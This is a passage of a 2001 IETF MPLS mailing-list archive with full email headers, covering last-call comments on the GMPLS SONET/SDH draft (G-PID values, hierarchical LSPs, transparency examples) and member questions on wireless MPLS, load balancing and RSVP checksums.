> The G-PID not only identifies the payload type of a LSP, it also identifies the specific mapping method if several mapping methods exist for the same paylaod type into one LSP. This should be reflected in the G-PID intorduciton text
> "An identifier of the payload carried by an LSP (client layer of that LSP) and if necessary of the mapping method used for this payload."
> 
> Moreover the G-PID makes only sense in the context of the specific LSP type and technology. As already a technology specific document is introduce for SONET/SDH it would make more sense to move the G-PID to the technology specific documents. That would make it a lot easier to maintain the G-pid values and documents. As the G-PID is always related to a specific LSP type/technology it is not necessary to assign unique numbers for all paylaod and mapping types. The same value can be reused with tidfferent LSP types/technologies. If a new technology is introduced in the future (e.g. G.709) with a new ID, the specific G-PIDs for this technology can also be defined as part of the ID and no update to the main document is required.
> 
> Now to the detailed comments:
> The follwoing G-PIDs have to be removed as they are not defined:
>             8     Bit synchronous mapping of E3
>             9     Byte synchronous mapping of E3
>            12     Byte synchronous mapping of DS2/T2
> 
> As the VC type in which a payload is carried is defined by the LSP signal type itself it is not necessary to indicate it in additon in the G-PID. The following G-PIDs have to be removed therefore:
>            19     Same as 12 but in a VC-12
>            20     Same as 13 but in a VC-12
>            21     Same as 14 but in a VC-12
> 
> SONET and SDH uses the same payloads and mapping schemes. It is therefore possible to use the same G-PID values for SONET and SDH and remove some of the duplicated values. Furthermore additional mappings have to be added (e.g. FDDI, DQDB, GFP, transparent PDH signals):
> The whole set of SONET/SDH G-PIDs:
>                 Asynchronous mapping of E4 PDH framed
>                 Asynchronous mapping of E4 SDH framed
>                 Asynchronous mapping of E4 transparent
>                 Asynchronous mapping of DS3 M23
>                 Asynchronous mapping of DS3 C-Bit Parity
>                 Asynchronous mapping of DS3 transparent
>                 Asynchronous mapping of E3 PDH framed 
>                 Asynchronous mapping of E3 SDH framed 
>                 Asynchronous mapping of E3 transparent 
>                 Asynchronous mapping of DS2/T2
>                 Bit synchronous mapping of DS2/T2
>                 Asynchronous mapping of E1 framed
>                 Asynchronous mapping of E1 transparent
>                 Byte synchronous mapping of E1 framed
>                 Byte synchronous mapping of 31 * 64kbit/s
>                 Asynchronous mapping of DS1/T1 SF
>                 Asynchronous mapping of DS1/T1 ESF
>                 Asynchronous mapping of DS1/T1 transparent
>                 Bit synchronous mapping of DS1/T1 SF
>                 Bit synchronous mapping of DS1/T1 ESF
>                 Bit synchronous mapping of DS1/T1 transparent
>                 Byte synchronous mapping of DS1/T1 SF
>                 Byte synchronous mapping of DS1/T1 ESF
>                 VTG/TUG  
>                 STS Group/AUG
>                 POS - No Scrambling, 16 bit CRC
>                 POS - No Scrambling, 32 bit CRC> 
>                 POS - Scrambling, 16 bit CRC
>                 POS - Scrambling, 32 bit CRC
>                 ATM mapping
>                 FDDI mapping
>                 DQDB mapping
>                 GFP mapping
>                 LAPS IP (X.85)
>                 LAPS Ethernet (X.86)
>                 SDL, set-reset scrambler
>                 SDL, self-synchronizing scrambler
>                 O.181 test signal
> 
> Under the ANSI-PDH types DS3 M23 and DS3 C-Bit are listed. However as DS3 is at the bottom of the ANSI PDH hierachy it cannot be payload of an PDH LSP, only of a SONET/SDH and this is already defined. As I assume that no one will setup PDH LSPs the ANSI-PDH technology should be removed completley. The mapping into SONET/SDH is covered under SONET/SDH technology.
> 
> 
> The G-PIDs
> 
>            33     Ethernet                               Lambda, Fiber specific
>            34     SDH                                    Lambda, Fiber    "
>            35     SONET                                  Lambda, Fiber    "
>            36     Digital Wrapper                        Lambda, Fiber    "
>            37     Lambda                                 Fiber            "
> are not very specific as one doesn't get information on the specific signal (e.g. STM-64, STS-48, wavelenghts of the lambda signal). So how usefull are these values compared to unknown?
> "Digital Wrapper" should be removed. ITU defines in G.709 the OTH, however the OTH consits of several network layers (ODU, OTU, OCH, OMS, OTS) with a multi-wavelength signal at the bottom. The assignment of G.709 G-PIDS shouldbe done in a G.709 specific ID.
>                 
> 


From owner-mpls@UU.NET  Mon May 28 20:41:33 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA08346
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 20:41:33 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrao16789;
	Tue, 29 May 2001 00:39:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkrao00806
	for mpls-outgoing; Tue, 29 May 2001 00:38:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrao00766
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 00:38:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrao29167
	for <mpls@UU.NET>; Tue, 29 May 2001 00:37:54 GMT
Received: from gorilla.mchh.siemens.de by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gorilla.mchh.siemens.de [194.138.158.18])
	id QQkrao04056
	for <mpls@UU.NET>; Tue, 29 May 2001 00:37:53 GMT
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id CAA12634;
	Tue, 29 May 2001 02:36:35 +0200 (MET DST)
Received: from mchh274e.demchh201e.icn.siemens.de ([139.21.200.84])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id CAA14413;
	Tue, 29 May 2001 02:36:37 +0200 (MET DST)
Received: by MCHH274E with Internet Mail Service (5.5.2653.19)
	id <KH6Y09TS>; Tue, 29 May 2001 02:36:36 +0200
Message-ID: <AFC76835727DD211A7C20008C71EAF1E0232D1CD@MCHH230E>
From: Heiles Juergen <Juergen.Heiles@icn.siemens.de>
To: "Kullberg, Alan" <akullber@netplane.com>,
        "'Mannie, Eric'"
	 <Eric.Mannie@ebone.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: last call comment on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Tue, 29 May 2001 02:36:35 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Alan,

hierachical LSP setup in Sonet/SDH and other transport planes is an issue currently not addressed by GMPLS. The Sonet/SDH naming tree (TDM-LSR link lable) for example doesn't fit with independent higher and lower order VC setup. For example the route of a VC-4 may change (use different STM-N ports at the equipment) while the endpoints are still the same. The VC-12 transported via these VC-4 don't have to care about the STM-N port only about the VC-4 endpoints. The current definition requires the port and full multiplex structure. AS not much thoughts are spent on the issue the current definition might not work with future extensions that support hierachical structures.

Regards

Juergen 

> -----Original Message-----
> From:	Kullberg, Alan [SMTP:akullber@netplane.com]
> Sent:	Thursday, May 24, 2001 5:44 PM
> To:	'Mannie, Eric'; 'Kireeti Kompella'
> Cc:	'ccamp@ops.ietf.org'; 'mpls@UU.NET'
> Subject:	last call comment on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
> 
> The following paragraph is from section 3 of
> draft-ietf-ccamp-gmpls-sonet-sdh-00.txt.
> 
>   When hierarchical SDH/SONET LSPs are used, an LSP with a given
>    bandwidth can be used to tunnel lower order LSPs.  The higher
>    order SDH/SONET LSP behaves as a virtual link with a given
>    bandwidth (e.g. VC-3), it may also be used as a Forwarding
>    Adjacency. A lower order SDH/SONET LSP can be established through
>    that higher order LSP. Since a label is local to a (virtual) link,
>    the highest part of that label is non-significant and is set to
>    zero.
> 
> The LSP Hierarchy draft introduces Link Mux Capability.  There is a value
> defined for TDM Switch Capable.  In order to support the hierarchy in the
> above paragraph, TDM Switch Capable would need to be split into multiple
> values, one for each level of the SDH/SONET multiplexing structure.
> 
> What do you think?
> 
> Alan
> 


From owner-mpls@UU.NET  Mon May 28 20:54:13 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA08356
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 20:41:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrao18790;
	Tue, 29 May 2001 00:40:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkrao00815
	for mpls-outgoing; Tue, 29 May 2001 00:39:05 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrao00784
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 00:38:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrao16233
	for <mpls@UU.NET>; Tue, 29 May 2001 00:37:55 GMT
Received: from gorilla.mchh.siemens.de by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gorilla.mchh.siemens.de [194.138.158.18])
	id QQkrao04084
	for <mpls@UU.NET>; Tue, 29 May 2001 00:37:55 GMT
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id CAA12636;
	Tue, 29 May 2001 02:36:36 +0200 (MET DST)
Received: from mchh273e.demchh201e.icn.siemens.de ([139.21.200.83])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id CAA14417;
	Tue, 29 May 2001 02:36:38 +0200 (MET DST)
Received: by MCHH273E with Internet Mail Service (5.5.2653.19)
	id <JWJ2B6KR>; Tue, 29 May 2001 02:36:38 +0200
Message-ID: <AFC76835727DD211A7C20008C71EAF1E0232D1CE@MCHH230E>
From: Heiles Juergen <Juergen.Heiles@icn.siemens.de>
To: "Mannie, Eric" <Eric.Mannie@ebone.com>,
        "'Saha, Sayandeb'"
	 <ssaha@netplane.com>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Tue, 29 May 2001 02:36:37 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Eric,

that was one point I commented onthe draft version of the Sonet/SDH document. Requesting section/line overhead transparency but limiting the paylaod to a STS-48-c-SPE doesn't make much sense to me. Transparency at the line/section layer but not at the path layer. Ok you could code it, but not everything you can combine is usefull and we better avoid to define such examples.

Regards

Juergen

> -----Original Message-----
> From:	Mannie, Eric [SMTP:Eric.Mannie@ebone.com]
> Sent:	Wednesday, May 23, 2001 10:08 PM
> To:	'Saha, Sayandeb'
> Cc:	'ccamp@ops.ietf.org'; 'mpls@UU.NET'
> Subject:	RE: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
> 
> Dear Sayan,
> 
> Thanks for the comments. However note that when requesting transparency for
> an STS-48 signal for instance, the signal type to use is STS-48. You cant'
> concatenate STS-1's since concatenation of STS-1 is not defined, but
> concatenation of STS-1 SPE's is. If you ask the concatenation of 48 x STS-1
> SPE's you are not speaking about the frame with its overhead, so you cannot
> request transparency. So we took the decision to use well defined signal
> types when requesting transparency (e.g. STS-48). And we took the convention
> to indicate in NCC the number of SPE's in that signal that must be
> concatenated. It took us some time to find a way to code each possible
> signal in a non ambiguous way. So I the original examples are correct.
> 
> Kind regards,
> 
> Eric
> 
> -----Original Message-----
> From: Saha, Sayandeb [mailto:ssaha@netplane.com]
> Sent: Wednesday, May 23, 2001 9:10 PM
> To: Mannie, Eric
> Cc: 'ccamp@ops.ietf.org'; 'mpls@UU.NET'
> Subject: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt 
> 
> 
> Hi ALL,
> I noticed the following in section 4 of
> draft-ietf-ccamp-gmpls-sonet-sdh-00.txt .
> 
>  The example number 16 is ...
> 
> 16. An STS-48c signal with LOH DCC and E2 transparency is formed
>    by the application of CCT with Type 1, NCC with value 48, NVC with
>    value 0, MT with value 1 and T with flag 5 and 10 to an STS-48
>    Elementary Signal.
> 
> It should be 
> 
>    An STS-48c signal with LOH DCC and E2 transparency is formed
>    by the application of CCT with Type 1, NCC with value 48, NVC with
>    value 0, MT with value 1 and T with flag 5 and 10 to an STS-1 SPE
>    Elementary Signal.
> 
> The example number 17 is ...
> 
> 17. An STS-768c signal with K1/K2 and LOH DCC transparency is
>    formed by the application of CCT with Type 1, NCC with value 768,
>    NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
>    STS-768 Elementary Signal.
> 
> It should be 
> 
>    An STS-768c signal with K1/K2 and LOH DCC transparency is
>    formed by the application of CCT with Type 1, NCC with value 768,
>    NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
>    STS-1 SPE Elementary Signal.
> 
> Regards
> -Sayan
> 
> 
> 
> 


From owner-mpls@UU.NET  Mon May 28 21:46:34 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA09547
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 21:46:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrat02876;
	Tue, 29 May 2001 01:45:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkras25527
	for mpls-outgoing; Tue, 29 May 2001 01:44:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkras25517
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 01:44:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkras05396
	for <mpls@uu.net>; Tue, 29 May 2001 01:43:34 GMT
Received: from Yellow.japan-telecom.co.jp by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: Yellow.japan-telecom.co.jp [210.146.35.35])
	id QQkras21711
	for <mpls@uu.net>; Tue, 29 May 2001 01:43:33 GMT
Received: from japan-telecom.co.jp (localhost [127.0.0.1])
	by Yellow.japan-telecom.co.jp (3.7W-Yellow) with ESMTP id f4T1hKW08128;
	Tue, 29 May 2001 10:43:20 +0900 (JST)
Received: (from root@localhost)
	by japan-telecom.co.jp (3.7W-SP340201) id KAA18396;
	Tue, 29 May 2001 10:43:43 +0900 (JST)
Received: from unknown [172.18.82.105] by SP340201.japan-telecom.co.jp with SMTP id LAB18349 ; Tue, 29 May 2001 10:43:43 +0900
From: "Hirokazu Ishimatsu" <hirokazu@japan-telecom.co.jp>
To: "George Swallow" <swallow@cisco.com>, <ccamp@ops.ietf.org>, <mpls@UU.NET>
Cc: <ip-optical@lists.bell-labs.com>, <tsg15q11@itu.int>, <tsg13q10@itu.int>
Subject: RE: GMPLS Last Calls
Date: Tue, 29 May 2001 10:45:47 +0900
Message-ID: <NCBBIEILCKDAOGAFPKKBEEJFCLAA.hirokazu@japan-telecom.co.jp>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
In-Reply-To: <200105141752.NAA05639@telescope.cisco.com>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

From a carrier's perspective, my concerns about GMPLS signaling drafts
are as follows:

(1) Decoupling of the control plane from the data plane should be clearly
     stated.
(2) Exclusion of NSAP
(3) Requirements from both security and OSS (Operating Support System)
     has not been discussed fully yet.

Best regards,
Hirokazu Ishimatsu
Japan Telecom

> -----Original Message-----
> From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> Behalf Of George Swallow
> Sent: Tuesday, May 15, 2001 2:52 AM
> To: ccamp@ops.ietf.org; mpls@uu.net
> Subject: GMPLS Last Calls
> 
> 
> This message initiates a last call on four GMPLS drafts.  The last
> call is being issued jointly in the MPLS and CCAMP workgroups.
> 
> The drafts are:
> 
>     1.  Generalized MPLS - Signaling Functional Description
> 
>            <draft-ietf-mpls-generalized-signaling-04.txt>
> 
> 
>     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> 
>            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> 
> 
>     3.  Generalized MPLS Signaling - CR-LDP Extensions
> 
>            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> 
> 
>     4.  GMPLS Extensions for SONET and SDH Control
> 
>            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> 
> 
> The last call closes May 29, 12 pm GMT.
> 
> 
> -  V2KG (Vijay, Vijay, Kireeti, & George)
> 
> 
> ======================================================================
> George Swallow       Cisco Systems                   (978) 244-8143
>                      250 Apollo Drive
>                      Chelmsford, Ma 01824
> 
> 
> 
> 
> 


From owner-mpls@UU.NET  Mon May 28 22:02:46 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA09615
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 22:02:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrau14678;
	Tue, 29 May 2001 02:00:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkrau27263
	for mpls-outgoing; Tue, 29 May 2001 02:00:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrat27119
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 01:59:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrat19353
	for <mpls@uu.net>; Tue, 29 May 2001 01:59:34 GMT
Received: from eyou.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [61.136.62.73])
	id QQkrat13665
	for <mpls@uu.net>; Tue, 29 May 2001 01:59:33 GMT
Received: (qmail 27380 invoked from network); 29 May 2001 09:59:32 +0800
Received: from unknown (HELO eyou.com) (172.16.2.1)
  by 172.16.1.1 with SMTP; 29 May 2001 09:59:32 +0800
Received: (qmail 74623 invoked by uid 65534); 29 May 2001 09:59:32 +0800
Date: 29 May 2001 09:59:32 +0800
Message-ID: <20010529095932.74622.qmail@eyou.com>
From: "Gao Deyun" <dygao_mpls@eyou.com>
To: mpls@UU.NET
Reply-To: "Gao Deyun" <dygao_mpls@eyou.com>
Subject: integration of wireless network and MPLS
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

  Someone know about some information about integration of wireless and MPLS
like wireless ATM? 
  Thank you in advance!

Deyun Gao
  





--http://www.eyou.com
--ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ  ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡




From owner-mpls@UU.NET  Mon May 28 22:38:21 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA10681
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 22:38:21 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkraw05928;
	Tue, 29 May 2001 02:37:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkraw19994
	for mpls-outgoing; Tue, 29 May 2001 02:36:38 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkraw19989
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 02:36:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkraw10673
	for <mpls@uu.net>; Tue, 29 May 2001 02:35:15 GMT
Received: from eyou.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [61.136.62.73])
	id QQkraw02682
	for <mpls@uu.net>; Tue, 29 May 2001 02:35:14 GMT
Received: (qmail 98551 invoked from network); 29 May 2001 10:35:12 +0800
Received: from unknown (HELO eyou.com) (172.16.2.1)
  by 172.16.1.1 with SMTP; 29 May 2001 10:35:12 +0800
Received: (qmail 10694 invoked by uid 65534); 29 May 2001 10:35:13 +0800
Date: 29 May 2001 10:35:13 +0800
Message-ID: <20010529103513.10693.qmail@eyou.com>
From: "Gao Deyun" <dygao_mpls@eyou.com>
To: tziou@ics.forth.gr
CC: mpls@UU.NET
Reply-To: "Gao Deyun" <dygao_mpls@eyou.com>
Subject: Re:Load&nbsp;balancing
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

  I am very interested in dynamic adaptive load balancing in MPLS network. And
maybe you can read one paper "MATE: MPLS Adaptive Traffic Engineering" in
INFOCOM'01.
  I am wonder how their products guarantee a balanced network? Some sinaling
protocols such as CR-LDP only set up path. Constraint-based routing can be
used to select path for traffic engineering. Is this(constraint-based routing)
the same problem with load balancing?
  Does one provider need dynamic adptive load balancing mechanism in MPLS
network? 

Deyun Gao


In your mail:
>Dear all,
>Going through the sites of some manufacturers I noticed that most of them 
>advertise that their products guarantee a balanced network. But I
>donnot understand why a provider(buyer) should be interested to keep its
>network balanced. I think that his goal is to maximize his profit.
>So what's the importance of load balancing in networks from the
>provider's perspective?
>
>Regards
>Chrysostomos
>
> 





--http://www.eyou.com
--ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ  ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡




From owner-mpls@UU.NET  Mon May 28 22:57:46 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA10818
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 22:57:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrax29893;
	Tue, 29 May 2001 02:53:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkrax21327
	for mpls-outgoing; Tue, 29 May 2001 02:52:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrax21308
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 02:52:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrax20271
	for <mpls@uu.net>; Tue, 29 May 2001 02:52:10 GMT
Received: from eyou.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [61.136.62.73])
	id QQkrax28991
	for <mpls@uu.net>; Tue, 29 May 2001 02:52:09 GMT
Received: (qmail 34862 invoked from network); 29 May 2001 10:52:07 +0800
Received: from unknown (HELO eyou.com) (172.16.2.1)
  by 172.16.1.1 with SMTP; 29 May 2001 10:52:07 +0800
Received: (qmail 27701 invoked by uid 65534); 29 May 2001 10:52:08 +0800
Date: 29 May 2001 10:52:08 +0800
Message-ID: <20010529105208.27700.qmail@eyou.com>
From: "Gao Deyun" <dygao_mpls@eyou.com>
To: ck@arch.bellsouth.net
CC: mpls@UU.NET
Reply-To: "Gao Deyun" <dygao_mpls@eyou.com>
Subject: Re:&nbsp;integration&nbsp;of&nbsp;wireless&nbsp;network&nbsp;and&nbsp;MPLS
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
  I don't know wireless ATM very clearly.I am not care about wireless ATM.
What I mean is that:
  If we want to provide QoS services in wireless networks, myabe we need
"virtual circuit" such as in MPLS network. In future, backbone network is
optical network, and access network may be wireless network. Now applications
MPLS to optical network are widely researched. However, someone considers
wireless networks with MPLS?

Deyun Gao

In your mail:
>
>wireless *ATM*?  Why?  That is truely *sick*!
>
>--
>Christian Kuhtz <ck@arch.bellsouth.net> -wk, <ck@gnu.org> -hm
>Sr. Architect, Engineering & Architecture, BellSouth.net, Atlanta, GA, U.S.
>"I speak for myself only.""
> 





--http://www.eyou.com
--ÎÈ¶¨¿É¿¿µÄÃâ·Ñµç×ÓÐÅÏä  ÓïÒôÓÊ¼þ  ÒÆ¶¯ÊéÇ©  ÈÕÀú·þÎñ  ÍøÂç´æ´¢...ÒÚÓÊÎ´¾¡




From owner-mpls@UU.NET  Mon May 28 23:06:15 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA10854
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 23:06:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkray17402;
	Tue, 29 May 2001 03:05:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkray08783
	for mpls-outgoing; Tue, 29 May 2001 03:04:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkray06979
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 03:04:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkray15322
	for <mpls@uu.net>; Tue, 29 May 2001 03:02:59 GMT
Received: from web14107.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14107.mail.yahoo.com [216.136.172.137])
	id QQkray18244
	for <mpls@uu.net>; Tue, 29 May 2001 03:02:59 GMT
Message-ID: <20010529030255.60868.qmail@web14107.mail.yahoo.com>
Received: from [205.188.199.13] by web14107.mail.yahoo.com; Mon, 28 May 2001 20:02:55 PDT
Date: Mon, 28 May 2001 20:02:55 -0700 (PDT)
From: LDP Hello <ldp_hello@yahoo.com>
Subject: RSVP Checksum
To: mpls@UU.NET
Cc: ldp_hello@yahoo.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi ... 

Can RSVP messages    being used for MPLS sigannling
can have checksum as ZERO ??? 

What should have happen if mpls router receives/sends
checksum as zero ... 

Appreciate expert opinions - 

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Mon May 28 23:12:14 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA10933
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 23:12:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkray29496;
	Tue, 29 May 2001 03:11:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkray12204
	for mpls-outgoing; Tue, 29 May 2001 03:10:56 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkray12196
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 03:10:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkray10362
	for <mpls@UU.NET>; Tue, 29 May 2001 03:10:52 GMT
Received: from wiprom2mx1.wipro.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQkray01008
	for <mpls@UU.NET>; Tue, 29 May 2001 03:10:50 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f4T8nK426637
	for <mpls@UU.NET>; Tue, 29 May 2001 08:49:20 GMT
Received: from soflt.alc.wipinfo.soft.net ([192.168.220.205]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GE2UFJ00.6MY; Tue, 29 May 2001 08:46:31 +0530 
